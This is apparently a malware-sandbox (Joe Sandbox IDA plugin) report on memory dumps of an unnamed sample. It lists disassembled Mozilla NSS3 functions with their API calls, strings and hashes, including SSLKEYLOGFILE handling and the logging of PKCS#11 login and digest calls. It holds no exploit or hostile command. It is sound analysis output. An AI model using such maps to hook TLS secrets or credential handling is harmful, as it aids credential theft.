PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60046
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60056
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60066
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60076
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60086
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE60096
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE600A6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE600B6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE600C6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE600D6
PR_NewLock.NSS3(?,?,6CE576C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE275C2,00000000), ref: 6CE600E6

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 373a32fd1b4a64fa50781c6f731c2e8c7117af9f7cc904621a2b54e37f14ec18
Instruction ID: e41e9bfe06d09e8937c6f4bc9605391760f388d9d52beb8f4dac7b4314fedec4
Opcode Fuzzy Hash: 373a32fd1b4a64fa50781c6f731c2e8c7117af9f7cc904621a2b54e37f14ec18
Instruction Fuzzy Hash: 403169F4E21774DE8BD7DF25A8583493AB4F716A04B21612ED00487B02DB7A11AACFF5

Function 6CEA6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEA6BF7), ref: 6CEA6EB6

Part of subcall function 6CE01240: TlsGetValue.KERNEL32(00000040,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01267
Part of subcall function 6CE01240: EnterCriticalSection.KERNEL32(?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE0127C
Part of subcall function 6CE01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01291
Part of subcall function 6CE01240: PR_Unlock.NSS3(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE012A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF4FC0A,6CEA6BF7), ref: 6CEA6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEA6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEA6EFC
PR_NewLock.NSS3 ref: 6CEA6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEA6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEA6BF7), ref: 6CEA6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEA6BF7), ref: 6CEA6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEA6BF7), ref: 6CEA6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEA6BF7), ref: 6CEA6FFD

Strings

SSLKEYLOGFILE, xrefs: 6CEA6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEA6EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEA6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEA6FF8
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEA6F4F
SSLFORCELOCKS, xrefs: 6CEA6F2B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 6c557514d430952955a606c3c890009cc4438da859d3ea1717c99e3d7b0886bf
Instruction ID: b5d7db377cf9a72a02526bc4a5091ac715de3399f76696af3c16e9923c917d93
Opcode Fuzzy Hash: 6c557514d430952955a606c3c890009cc4438da859d3ea1717c99e3d7b0886bf
Instruction Fuzzy Hash: A3A138B2E659918EEA4087BCD90134432B1AF9332DF794364E830CEFD8DBB694478291

Function 6CE25DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE25DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE25E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE25E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE25E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE25EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE25ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE25F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE25F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE25F89
free.MOZGLUE(?), ref: 6CE25FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE25FB6
free.MOZGLUE(00000000), ref: 6CE25FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE2600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE26079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE26084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE26094

Strings

, xrefs: 6CE25EEB

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: bd327eed3af7a4f97b734098cb2b93eeb8a36c31c64f5aa288b6784da67d51ab
Instruction ID: f425d8a96fd4ad161d3a8390518aa84a7da667232c9584e9ed15b19ec400db6f
Opcode Fuzzy Hash: bd327eed3af7a4f97b734098cb2b93eeb8a36c31c64f5aa288b6784da67d51ab
Instruction Fuzzy Hash: 7D81F771E012059BEF208B64CD81BAE77B5AF4531CF344128E959E7795EB39E804CBD1

Function 6CE46D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE46D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE46DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE46DC3

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE46DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE46DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE46E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE46E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE46E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE46EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6CE46EB4
hSession = 0x%x, xrefs: 6CE46D9E, 6CE46DAE
C_Digest, xrefs: 6CE46D81
pulDigestLen = 0x%p, xrefs: 6CE46E42
ulDataLen = %d, xrefs: 6CE46E0E
pData = 0x%p, xrefs: 6CE46DF5
pDigest = 0x%p, xrefs: 6CE46E27
(CK_INVALID_HANDLE), xrefs: 6CE46DBC

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 73aad22e448c885c4c98939872af138d5befd725a5cc1591491b31d3b9be7410
Instruction ID: fa979d87eb7f28b8976c004563c8e7f5c8146cda167a473bec0244324d326cf7
Opcode Fuzzy Hash: 73aad22e448c885c4c98939872af138d5befd725a5cc1591491b31d3b9be7410
Instruction Fuzzy Hash: F741D735A11124EFDB41DF94ED59F8A3BB5AF8231CF158028E80997712DB369D18CBE1

Function 6CE49C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE49C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE49C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE49CA3

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE49CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE49CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE49CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE49D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE49D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE49D42

Strings

ulPinLen = %d, xrefs: 6CE49D0B
C_LoginUser, xrefs: 6CE49C61
ulUsernameLen = %d, xrefs: 6CE49D3D
hSession = 0x%x, xrefs: 6CE49C7E, 6CE49C8E
pPin = 0x%p, xrefs: 6CE49CF0
(CK_INVALID_HANDLE), xrefs: 6CE49C9C
pUsername = 0x%p, xrefs: 6CE49D24
userType = 0x%x, xrefs: 6CE49CD5

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 4d9c4f36844273637c786151eabede49d7b662b1c906983995d204784d42d30d
Instruction ID: dcb99bf879c5e60e53671baab41a8f8672e3c22e7e8d6952efeff2586ed5fa34
Opcode Fuzzy Hash: 4d9c4f36844273637c786151eabede49d7b662b1c906983995d204784d42d30d
Instruction Fuzzy Hash: 8441D631A01114EFDB419F90FE48F893BB5BF4231DF158028E50967712DB329918DBB2

Function 6CE01FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE02007
calloc.MOZGLUE(00000001,00000084), ref: 6CE02077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE020DF
TlsSetValue.KERNEL32(00000000), ref: 6CE02188
PR_NewCondVar.NSS3 ref: 6CE021B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE0221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE022C2
GetLastError.KERNEL32 ref: 6CE022CD
free.MOZGLUE(00000000), ref: 6CE022DD

Part of subcall function 6CE00F00: PR_GetPageSize.NSS3(6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F1B
Part of subcall function 6CE00F00: PR_NewLogModule.NSS3(clock,6CE00936,FFFFE8AE,?,6CD916B7,00000000,?,6CE00936,00000000,?,6CD9204A), ref: 6CE00F25

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 5fd237c7cb5823a2abba3da4cb8eea6de47652c4607d857373dc7fae1e3dbf42
Instruction ID: 21318ccdf0b96c20d90d6f194022b6ec547fb7cb784f3fdee79b0001ac2ac018
Opcode Fuzzy Hash: 5fd237c7cb5823a2abba3da4cb8eea6de47652c4607d857373dc7fae1e3dbf42
Instruction Fuzzy Hash: 01918AB0B21711CFDBA19F799C0D76B7AF4BB16708F20442EE49AD6A40DB719019CFA1

Function 6CF29C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF29C70
PR_NewLock.NSS3 ref: 6CF29C85

Part of subcall function 6CED98D0: calloc.MOZGLUE(00000001,00000084,6CE00936,00000001,?,6CE0102C), ref: 6CED98E5

PR_NewCondVar.NSS3(00000000), ref: 6CF29C96

Part of subcall function 6CDFBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE021BC), ref: 6CDFBB8C

PR_NewLock.NSS3 ref: 6CF29CA9

Part of subcall function 6CED98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CED9946
Part of subcall function 6CED98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CD916B7,00000000), ref: 6CED994E
Part of subcall function 6CED98D0: free.MOZGLUE(00000000), ref: 6CED995E

PR_NewLock.NSS3 ref: 6CF29CB9
PR_NewLock.NSS3 ref: 6CF29CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF29CDA

Part of subcall function 6CDFBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CDFBBEB
Part of subcall function 6CDFBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CDFBBFB
Part of subcall function 6CDFBB80: GetLastError.KERNEL32 ref: 6CDFBC03
Part of subcall function 6CDFBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CDFBC19
Part of subcall function 6CDFBB80: free.MOZGLUE(00000000), ref: 6CDFBC22

PR_NewCondVar.NSS3(?), ref: 6CF29CF0
PR_NewPollableEvent.NSS3 ref: 6CF29D03

Part of subcall function 6CF1F3B0: PR_CallOnce.NSS3(6CF714B0,6CF1F510), ref: 6CF1F3E6
Part of subcall function 6CF1F3B0: PR_CreateIOLayerStub.NSS3(6CF7006C), ref: 6CF1F402
Part of subcall function 6CF1F3B0: PR_Malloc.NSS3(00000004), ref: 6CF1F416
Part of subcall function 6CF1F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF1F42D
Part of subcall function 6CF1F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF1F455
Part of subcall function 6CF1F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF1F473

Part of subcall function 6CED9890: TlsGetValue.KERNEL32(?,?,?,6CED97EB), ref: 6CED989E

EnterCriticalSection.KERNEL32(?), ref: 6CF29D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF29DAF
_PR_CreateThread.NSS3(00000000,6CF29EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF29D9F

Part of subcall function 6CDFB3C0: TlsGetValue.KERNEL32 ref: 6CDFB403
Part of subcall function 6CDFB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CDFB459

_PR_CreateThread.NSS3(00000000,6CF2A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF29DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF29DFC
_PR_CreateThread.NSS3(00000000,6CF2A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF29E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF29E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF29E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF29E89

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 37c8509ed8a9bb3eaf83e8dab1dfb72d9bd95d993916b9e5aa98e17424b88602
Instruction ID: 8abe14a16047b3a15450862cebaae56ec31761e59d9568349a596a18ea462015
Opcode Fuzzy Hash: 37c8509ed8a9bb3eaf83e8dab1dfb72d9bd95d993916b9e5aa98e17424b88602
Instruction Fuzzy Hash: 26616EB1A00B06AFD714DF75C844AA7BBF8FF08208B15452EE859C7B50EB34E955CBA1

Function 6CE23FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE24014

Part of subcall function 6CE239F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE25E6F,?), ref: 6CE23A08
Part of subcall function 6CE239F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE25E6F), ref: 6CE23A1C
Part of subcall function 6CE239F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE23A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE24038

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE2404D

Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE710F3
Part of subcall function 6CE710C0: EnterCriticalSection.KERNEL32(?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7110C
Part of subcall function 6CE710C0: PL_ArenaAllocate.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71141
Part of subcall function 6CE710C0: PR_Unlock.NSS3(?,?,?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE71182
Part of subcall function 6CE710C0: TlsGetValue.KERNEL32(?,6CE18802,00000000,00000008,?,6CE0EF74,00000000), ref: 6CE7119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF3A0F4), ref: 6CE240C2

Part of subcall function 6CE6F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE6F0C8
Part of subcall function 6CE6F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE6F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE2409A

Part of subcall function 6CE6BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE1E708,00000000,00000000,00000004,00000000), ref: 6CE6BE6A
Part of subcall function 6CE6BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE204DC,?), ref: 6CE6BE7E
Part of subcall function 6CE6BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE6BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE240DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE240F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE24108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE2411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE24137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE24150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF3A1C8), ref: 6CE2417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE24194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE241A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE241B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE241D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE241FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF3A1A8), ref: 6CE2422D

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: a18bf94904117cbb65faf6636f9f791c1822757cb1e27e2c577f4f4841b40c6f
Instruction ID: 0c0eebfb58ecad7af694a6d3dfb6db26dd7cf2050141424f5b6dbfd5129fbe9a
Opcode Fuzzy Hash: a18bf94904117cbb65faf6636f9f791c1822757cb1e27e2c577f4f4841b40c6f
Instruction Fuzzy Hash: 8A51F5B6A043006BF7109B269C41B6776FC9F6124CF24052EF95AC6F82FB79E504C6A2

Function 6CE68E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68E9E
PORT_ArenaAlloc_Util.NSS3(6CF70B64,00000001,?,?,?,?,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6CE68E01,00000000,6CE69060,6CF70B64), ref: 6CE68EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6CE68E01), ref: 6CE68EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CF70B64,6CF70B64), ref: 6CE68F11
